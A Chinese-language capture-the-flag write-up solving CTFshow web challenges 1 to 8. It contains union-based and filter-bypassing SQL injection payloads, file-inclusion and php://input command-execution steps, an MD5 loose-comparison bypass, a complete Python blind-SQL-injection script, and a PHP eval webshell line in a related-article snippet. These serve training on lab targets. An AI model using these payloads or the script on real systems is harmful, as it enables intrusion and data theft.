CTFshow_web1:

F12查看JS即在代码里

CTFshow_web2:

进入网址后页面如下:

①:尝试使用admin登陆,发现页面无回显

②:尝试单引号闭合,并且添加' or 1=1#,此时在后台查询语句应该为:

SELECT * FROM users where user='admin' or 1=1#&passwd=

条件为真即出现回显,如图:

③:通过查询语句【admin' or 1=1 order by x #】来判断列数,最终得到有3列

④:因为有回显,所以考虑联合查询注入,查询语句为【admin' or 1=1 union select 1,2,3 #】,显示如下,所以2号位有回显

⑤:通过2号位回显去获取数据库更多的信息,具体查询语句如下:

admin' or 1=1 union select 1,database(),3 #
admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
admin' or 1=1 union select 1,group_concat(column_name),3 from
information_schema.tables where table_name='flag' #
admin' or 1=1 union select 1,group_concat(flag),3 from flag #

⑥:依次回显结果如下:

database:web2
tables:flag,user
column:flag
ctf:ctfshow{7b448282-01e0-47d2-8b8a-4fbe3bc76ebb}

CTFshow_web3:

①:打开页面后发现是一个文件包含的题目:

②:尝试访问/etc/passwd,/var/log/nginx/access.log

③:尝试日志包含写入一句话木马,发现被过滤了敏感字符:<>()[]''

③:使用伪协议php://input,写入操作指令,又考虑到是GET请求,所以在burp里抓包修改:

返回结果如下:

ctf_go_go_go index.php

再次使用伪协议查询:

得到旗帜:

ctfshow{bea28caa-2287-4360-b9a9-3a3516f33476}

知识点回顾:

php://input伪协议:php://input 是个可以访问请求的原始数据的只读流。通俗来讲是将文件包含漏洞变成命令执行,一般与POST结合,与GET结合在Burp里使用较方便

CTFshow_web4:

同web3,只不过过滤了php等协议,使用日志注入可以得到,通过蚁剑或者菜刀连接,得到Flag

CTFshow_web5:

打开网页后发现是一条代码审计的题目,关键语句如下:

<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{ echo "where is flag?";
}
?>

题目要求位v1,v2 md5编码同,但是v1得是全字符,v2得是全数字

考虑md5碰撞,即v1,v2md5后均以0e开头

则输入

http://fe4405b1-ecd4-4cab-ba59-ec5e20bf9dfc.chall.ctf.show:8080/?v1=QNKCDZO&v2=240610708

获得旗帜

CTFshow_web6:

字符型注入,过滤空格,用/**/替换即可其他步骤同web2

CTFshow_web7:

字符型注入,过滤了空格,双引号

http://3ce03932-8cc0-4775-bd47-8917c5efd019.chall.ctf.show:8080/?id=1'/**/union/**/select/**/1,database(),group_concat(flag)/**/from/**/flag#

CTFshow_web8:

考查的是bool盲注,并且过滤了空格,双引号,构造payload进行自动化脚本注入

注意点:

①:自动化脚本的核心是payload,首先要判断字符型注入和数字型注入,然后根据正确的payload去跑代码

②:当过滤了 (0,1)时,可以使用from 0,for 1,过滤了双引号可以使用16进制进行替换

#!/usr/bin/python
#-*- encoding: utf-8 -*-
import requests
url="http://1c2fdfff-d246-41dd-8e8a-70b65692521d.chall.ctf.show:8080/index.php?id=-1"
dbPayload="/**/or/**/ascii(substr(database()/**/from/**/{0}/**/for/**/1))={1}"
tbPayload="/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{0}/**/for/**/1))={1}"
cuPayload="/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)/**/from/**/{0}/**/for/**/1))={1}"
alPayload="/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/{0}/**/for/**/1))={1}"
def Getal(url):
Gurl=url+alPayload
print("开始破解所有元素:")
Allname=""
for i in range(1,100):
temp_len=len(Allname)
for j in range(41,128):
Durl=Gurl.format(i,j)
r=requests.get(Durl)
if 'By Rudyard Kipling' in r.text:
Allname+=chr(j)
print("破解中的元素名:",Allname)
break
if temp_len==len(Allname):
print("破解成功,旗帜为:",Allname)
break
return Allname
def Dable(url):

Durl = url + dbPayload
print("开始破解数据库:")
Dablename=""
for i in range(1,50):
temp_len=len(Dablename)
for j in range(41,128):
Turl=Durl.format(i,j)
r=requests.get(Turl)
if 'By Rudyard Kipling' in r.text:
Dablename+=chr(j)
print("破解中的数据库名:",Dablename)
break
if temp_len==len(Dablename):
print("破解成功,数据库名为:",Dablename)
break
return Dablename
def Table(url):
Aurl=url+tbPayload
Tablename=""
print("开始破解数据表:")
for i in range(1,50):
temp_len=len(Tablename)
for j in range(40,128):
Turl=Aurl.format(i,j)
r=requests.get(Turl)
if 'By Rudyard Kipling' in r.text:
Tablename+=chr(j)
print("破解中的数据表名",Tablename)
break
if temp_len==len(Tablename):
print("破解成功,数据库表名为:",Tablename)
break
return
def Cuable(url):
Mnurl=url+cuPayload
Cumname=""
print("开始破解数据列:")
for i in range(1,50):
temp_len=len(Cumname)
for j in range(40,128):
Courl=Mnurl.format(i,j)
r=requests.get(Courl)
if 'By Rudyard Kipling' in r.text:
Cumname+=chr(j)
print("破解中的数据列名",Cumname)
break
if temp_len==len(Cumname):
print("破解成功,数据列名为:",Cumname)
break
return Cumname
if __name__ == '__main__':

Dable(url)
Table(url)
Cuable(url)
Getal(url)

反思:web8如果使用暴力破解花费的时间较大,其实可以使用二分法,大幅度缩短运行时间,并且在判断页面是否正确还可以通过判断返回文章长度,例如:

success_len=len(requests.get(url).text)
....
....
for i in range(1,50):
for j in range(40,128):
Courl=Mnurl.format(i,j)
r=len(requsets,get(Courl).text)
if r==success_len:
......

此外使用range()函数比使用字典判断更好一方面代码更加美观,另一方面避免字典遗漏部分字符的问题

Ctf_show Web[1-8]的更多相关文章

  1. CTF_show平台 web题解 part3

    web13 题目显示文件上传,各类型上传均提示错误,在使用ctf-scan扫描的时候,发现upload.php.bak. 查看源码: <?php header("content-typ ...

  2. CTF_show平台 web题解 part2

    web10 WITH ROLLUP 绕过 点击取消键弹出源码下载: 源码如下: <?php $flag=""; function replaceSpecialChar($st ...

  3. CTF_show平台 web题解 part1

    web3 题目描述: 方法一:RFI 使用url实现php远程文件包含 在服务器上构造1.txt <?php $a = "<?php eval(\$_POST['123'])?& ...

  4. C# Web应用调试开启外部访问

    在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 1. 设置内网访问 2. 设 ...

  5. 网页提交中文到WEB容器的经历了些什么过程....

    先准备一个网页 <html><meta http-equiv="Content-Type" content="text/html; charset=gb ...

  6. 闲来无聊,研究一下Web服务器 的源程序

    web服务器是如何工作的 1989年的夏天,蒂姆.博纳斯-李开发了世界上第一个web服务器和web客户机.这个浏览器程序是一个简单的电话号码查询软件.最初的web服务器程序就是一个利用浏览器和web服 ...

  7. java: web应用中不经意的内存泄露

    前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...

  8. 对抗密码破解 —— Web 前端慢 Hash

    (更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...

  9. 使用 Nodejs 搭建简单的Web服务器

    使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块. ...

随机推荐

  1. MIT 6.S081 聊聊xv6中的文件系统(上)

    前言 Lab一做一晚上,blog一写能写两天,比做Lab的时间还长( 这篇博文是半夜才写完的,本来打算写完后立刻发出来,但由于今天发现白天发博点击量会高点,就睡了一觉后才发(几十的点击量也是点击量啊T ...

  2. idea2018 快捷键

    Alt+Enter将光标放到缺少包的错误提示处自动导入包Ctrl+Alt+Space光标处会有会出现界面提示需要补全的信息也可以在new完对象后使用.var后将会自动补 Ctrl+O可以选择父类的方法 ...

  3. POJ - 1743 Musical Theme (后缀数组)

    题目链接:POJ - 1743   (不可重叠最长子串) 题意:有N(1<=N<=20000)个音符的序列来表示一首乐曲,每个音符都是1..88范围内的整数,现在要找一个重复的子串,它需要 ...

  4. HDU - 4221 贪心

    题意: 你有n个任务,每一个任务有一个完成所需时间AI,和一个截止时间BI.时间从0开始,如果完成任务的时间(设这个时间为ans)大于BI那么就会收到ans-BI的惩罚,问你完成所有这些任务你会收到的 ...

  5. [备忘] DevOps 工具上的准备清单(不断补充中……)

    目录 概念 发展历程 工具清单 规划 概念 从字面上来看,"DevOps"一词是由英文 Development(开发)和 Operations (运维)组合而成,但它所代表的理念和 ...

  6. NFS 共享存储

    目录 环境准备 NFS服务端 NFS客户端 部署时常见报错 httpd服务 NFS 共享存储的坑 环境准备 主机名 WanIP(Wide Area Network) LanIP(Local Area ...

  7. Kubernets二进制安装(3)之准备签发证书环境

    1.在mfyxw50机器上分别下载如下几个文件:cfssl.cfssl-json.cfssl-certinfo cfssl下载连接地址: https://pkg.cfssl.org/R1.2/cfss ...

  8. 一篇文章图文并茂地带你轻松学会 HTML5 storage

    html5 storage api localStorage 和 sessionStorage 是 html5 新增的用来存储数据的对象,他们让我们可以以键值对的形式存储信息. 为什么要有 stora ...

  9. KEIL5 使用STM32 官方例程

    1. 安装keil5,破解 网上很多安装包/教程,跳过 2.下载官方固件库 https://www.st.com/content/st_com/en.html 在这里找微处理器,STM32 stand ...

  10. 对于kmp求next数组的理解

    首先附上代码 1 void GetNext(char* p,int next[]) 2 { 3 int pLen = strlen(p); 4 next[0] = -1; 5 int k = -1; ...